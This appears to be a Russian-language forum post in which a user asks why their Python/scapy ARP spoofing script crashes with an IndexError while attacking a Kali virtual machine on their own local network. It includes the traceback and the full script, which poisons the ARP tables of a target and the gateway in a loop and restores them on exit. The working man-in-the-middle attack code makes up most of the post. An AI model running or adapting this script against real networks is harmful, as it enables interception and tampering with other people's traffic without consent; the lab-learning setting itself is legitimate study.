D
dododogogogo
Здравствуйте форумчане! В процессе написания АРП-спуфера возникла проблема. Скрипт начинает выполнение нормально
Но когда машина жертвы начинает серфить интернет, то скрипт завершается с ошибкой. Атаку провожу на дистре BackBox, атакую виртуальную машину с Kali. Виртуальная машина подключена через мост и находится в локальной сети как отдельный хост.
Код ошибки:
Код скрипта:
Но когда машина жертвы начинает серфить интернет, то скрипт завершается с ошибкой. Атаку провожу на дистре BackBox, атакую виртуальную машину с Kali. Виртуальная машина подключена через мост и находится в локальной сети как отдельный хост.
Код ошибки:
Код:
# python arp_spoof.py
WARNING: No route found for IPv6 destination :: (no default route?)
[+] Packet sent: 92
Traceback (most recent call last):
File "arp_spoof.py", line 34, in <module>
spoof(gateway_ip, target_ip)
File "arp_spoof.py", line 17, in spoof
target_mac = get_mac(target_ip)
File "arp_spoof.py", line 13, in get_mac
return answered_list[0][1].hwsrc
File "/usr/lib/python2.7/dist-packages/scapy/plist.py", line 86, in __getitem__
return self.res.__getitem__(item)
IndexError: list index out of range
Python:
#!/usr/bin/env python
import scapy.all as scapy
import time
import sys
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
return answered_list[0][1].hwsrc
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet, verbose=False)
def restore(destination_ip, source_ip):
destination_mac = get_mac(destination_ip)
source_mac = get_mac(source_ip)
packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
scapy.send(packet, count=4, vebose=False)
target_ip = "192.168.1.59"
gateway_ip = "192.168.1.1"
try:
sent_packets_count = 0
while True:
spoof(target_ip, gateway_ip)
spoof(gateway_ip, target_ip)
sent_packets_count = sent_packets_count + 2
print("\r[+] Packet sent: " + str(sent_packets_count)),
sys.stdout.flush()
time.sleep(2)
except KeyboardInterrupt:
print("\n[-] Detected Ctrl + C ... Resetting ARP tables ... Please wait.\n")
restore(target_ip, gateway_ip)
restore(gateway_ip, target_ip)